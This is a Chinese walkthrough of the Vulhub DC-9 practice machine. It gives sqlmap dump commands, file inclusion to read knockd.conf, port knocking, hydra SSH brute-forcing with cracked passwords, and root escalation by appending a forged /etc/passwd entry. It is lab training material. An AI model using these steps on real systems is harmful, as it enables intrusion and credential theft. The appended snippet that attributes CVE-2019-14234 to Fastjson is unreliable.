Vulhub 靶场训练 DC-9解析

一、搭建环境

kali的IP地址是:192.168.200.14

DC-9的IP地址暂时未知

二、信息收集

1、探索同网段下存活的主机

arp-scan -l #

1707181980_65c1879c5151243dc5901.png!small?1707181981235

2、探索开放的端口

1707181989_65c187a5e995989e0e800.png!small?1707181990821

开启端口有:80和22端口

3、目录扫描

1707182000_65c187b004be509a64ee0.png!small?1707182000880

访问80 端口显示的主页面

1707182007_65c187b7c33b3e6e15a5f.png!small?1707182008907

分别点击其他几个页面

可以看到是用户的信息

1707182016_65c187c0bb7360004f7b0.png!small?1707182017890

此页面下出现的搜索框。可能会存在xss漏洞和SQL注入漏洞

1707182025_65c187c9b2c124554a9fb.png!small?1707182026641

最后一个需要正确输入用户名和密码才可以登录

1707182038_65c187d6a80c9b249d350.png!small?1707182039605

输入什么都会跳转这个页面

1707182048_65c187e013168fe42b63f.png!small?1707182048879

用抓包的形式进行尝试,点击进行抓包测试

三、漏洞探测

sql注入

运用工具SQLMAP

1707182059_65c187eb3c4df9f674734.png!small?1707182060162

将捕获的数据要包放到sqlmap的安装目录下,创建一个新的文件

1707182070_65c187f6d8861d338531e.png!small?1707182071753

在cmd命令行上输入以下指令

1、获得数据库

python sqlmap.py -r 1.txt --dbs --batch # 第一种方法
python sqlmap.py -u "http://192.168.200.6/results.php" --data "search=1" --dbs 第二种方法

1707182083_65c188039177ebe118e60.png!small?1707182084530

2、获取数据表

python sqlmap.py -r 1.txt -D Staff --tables # 第一种方法
python sqlmap.py -u "http://192.168.200.6/results.php" --data "search=1" -D Staff --tables
# 第二种方法

1707182094_65c1880ef1e8d74ffa893.png!small?1707182095787

3、爆字段

sqlmap.py -r 1.txt -D Staff -T Users --columns # 第一种方法

python sqlmap.py -u "http://192.168.200.6/results.php" --data "search=1" -D Staff -T Users --columns
# 第二种方法

1707182103_65c18817a58baf7a9feee.png!small?1707182104590

4、暴内容

python sqlmap -u "http://192.168.200.6/results.php" --data "search=1" -D Staff -T Users --dump
# 第一种方法
python sqlmap.py -r 1.txt -D Staff -T Users --dump # 第二种方法

1707182134_65c1883656d580ba0f732.png!small?1707182135176

+--------+----------+----------------------------------+
| UserID | Username | Password                         |
+--------+----------+----------------------------------+
| 1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc |
+--------+----------+----------------------------------+

经过md5加密的admin用户密码,在线md5解码一下

账号:admin  
密码:transorbital1

登录成功

1707182166_65c18856dff0121505473.png!small?1707182167855

爆破另外一个数据库(Users)(只是用使用一种方法)

1、爆破数据库

python sqlmap.py -r 1.txt --dbs --batch

1707182176_65c1886090a4ac94bba0c.png!small?1707182177437

2、获取数据库

python sqlmap.py -r 1.txt -D Users --tables

1707182188_65c1886cb3cbea8bfc092.png!small?1707182189478

3、爆破字段

python sqlmap.py -r 1.txt -D users -T UserDetails --columns

1707182196_65c18874e7a8733abd975.png!small?1707182197712

4、爆破内容

python sqlmap.py -r 1.txt -D users -T UserDetails --dump

python sqlmap -r 1.txt -D users -T UserDetails -C username,password --dump

1707182206_65c1887e5a7c0d3f2dc3f.png!small?1707182207481

回到原网页

文件包含

根据底部的信息File does not exist,可以推断,有可能存在文件包含漏洞

1707182215_65c18887dacd1fa4cffef.png!small?1707182217047

选择manage.php进行尝试文件包含漏洞,成功,经过百度,可以知道有个敲门打开SSH端口的事情

1707182223_65c1888f1f276973129e8.png!small?1707182224049

端口保护之端口敲门

大致就是按一定的顺序访问端口可以达到开启和关闭某个端口的机制

通过查看…/…/…/…/etc/knockd.conf文件,结合搜索到的相关知识,知道用nc分别去尝试这三个端口可以打开SSH端口

通过查看../../../../etc/knockd.conf文件,结合搜索到的相关知识,
知道用nc分别去尝试这三个端口可以打开SSH端口

经过百度,进行敲门

nc 192.168.200.6 7469

nc 192.168.200.6 8475

nc 192.168.200.6 9842

nmap再次扫描一下发现22端口开放了,amazing!!!

1707182231_65c18897467cb40e5c248.png!small?1707182232373

使用之前得到的用户名和密码去爆破ssh服务

hydra -L username.txt -P password.txt ssh://192.168.200.6 

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-31 04:04:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 289 login tries (l:17/p:17), ~19 tries per task
[DATA] attacking ssh://10.0.0.28:22/
[22][ssh] host: 192.168.200.6   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.200.6   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.200.6   login: janitor   password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found

三个用户家目录下什么也没有

按顺序先选择fredf登录B4-Tru3-001

ssh fredf@192.168.200.6

查看sudo -l成功

1707182243_65c188a36b5156fad4cf6.png!small?1707182244506

1707182248_65c188a88d5787358650b.png!small?1707182250087

选择chandlerb登录UrAG0D!

ssh chandlerb@192.168.200.6

查看sudo -l失败

1707182259_65c188b3d1293755a28b4.png!small?1707182260797

选择joeyt登录Passw0rd

ssh joeyt@192.168.200.6

查看sudo -l失败

1707182267_65c188bb98a3a0372e081.png!small?1707182268737

选择janitor登录Ilovepeepee

ssh janitor@192.168.200.6

查看sudo -l失败

1707182275_65c188c3bad42786a6b32.png!small?1707182277079

使用janitor登陆,发现了一个密码文件,使用janitor登陆,发现了一个密码文件

janitor@dc-9:~$ ls -al
total 20
drwx------  4 janitor janitor 4096 Aug 31 18:38 .
drwxr-xr-x 19 root    root    4096 Dec 29  2019 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29  2019 .bash_history -> /dev/null
drwx------  3 janitor janitor 4096 Aug 31 18:05 .gnupg
drwx------  2 janitor janitor 4096 Dec 29  2019 .secrets-for-putin
-rw-r--r--  1 janitor janitor    6 Aug 31 18:42 test.txt
janitor@dc-9:~$ cd .secrets-for-putin/
janitor@dc-9:~/.secrets-for-putin$ ls
passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt 
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts


[22][ssh] host: 192.168.200.6   login: fredf   password: B4-Tru3-001

经过四个账户的查询发现只有fredf有一定权限

cd /opt/devstuff/dist/test/
ls -al

1707182284_65c188cc73ca03bb1717c.png!small?1707182285978

可以发现他具有一个特殊权限,可以运行一个test脚本。

fredf@dc-9:~$  /opt/devstuff/dist/test/test --help
Usage: python test.py read append
fredf@dc-9:~$ 
# 这个test的作用就是把一个文件中的内容append到另一个文件中。
我们首先想到利用test往passwd文件中写入用户信息,便这个用户口令必须是加密过的。

1707182292_65c188d48a295184d1028.png!small?1707182294033

提权

在janitor中发现了几个密码,加到我们的密码字典中

然后再次使用hydra爆破发现了第四个可以用ssh登录的账号和密码

登录后sudo -l发现test文件有root权限

1707182302_65c188de01610fe76f0bc.png!small?1707182302794

1707182307_65c188e35321569db2775.png!small?1707182308139

切换到test目录看下,找下这个test.py,在/opt/devstuff目录下,脚本的作用就是将第一个文件的内容附加到另一个文件里面去

1707182315_65c188eb4dcd77aea92ad.png!small?1707182316300

在etc/passwd文件里进行写入账号密码

运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径

openssl passwd -1 -salt dc 123456
echo 'dc:$1$dc$5uDk4oYnRiBs0fFGlcRwy.:0:0:root:/bin/bash' >> /tmp/dc
sudo ./test /tmp/dc /etc/passwd

3.按照/etc/passwd的格式写一个文件,通过test脚本追加到/etc/passwd中即可提权,运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径

1707182340_65c1890433ebf094761c9.png!small?1707182341184

  • 8
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
CVE-2019-14234是指vulhub靶场中的一个漏洞。这个漏洞是由于vulhub中的一个名为Fastjson的组件的安全缺陷引起的。Fastjson是一种广泛使用的Java JSON库,用于在Java应用程序中进行JSON转换。然而,Fastjson在处理特殊构造的JSON字符串时存在漏洞,攻击者可以利用这个漏洞执行任意的Java代码。 在CVE-2019-14234中,攻击者可以通过构造特定的JSON字符串并发送给受影响的应用程序来利用该漏洞。当应用程序使用Fastjson解析并处理该字符串时,恶意的Java代码将被执行。攻击者可以利用这个漏洞来执行远程代码,从而导致敏感信息泄露、服务器被入侵等危害。 为了防止CVE-2019-14234的攻击,可以采取多种措施。首先,更新vulhub中的Fastjson组件到最新版本,以获得最新的安全修复。其次,在编码和处理JSON数据时,应谨慎处理不受信任的输入。可以使用输入验证和过滤来确保传入的数据是符合预期的,并且不包含恶意的代码。 此外,安全审计和漏洞扫描工具也可以用于检测和修复CVE-2019-14234漏洞。通过定期扫描应用程序,可以及时发现和修复潜在的安全问题。最后,加强网络安全意识教育,提高开发人员和用户对网络安全的认识和理解,从而进一步提高防范和应对漏洞攻击的能力。 综上所述,CVE-2019-14234是vulhub靶场中的一个Fastjson组件漏洞,可以被攻击者利用来执行任意的Java代码。修复这个漏洞的方法包括更新Fastjson组件、输入验证和过滤、安全审计和漏洞扫描以及加强网络安全意识教育。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑战士安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值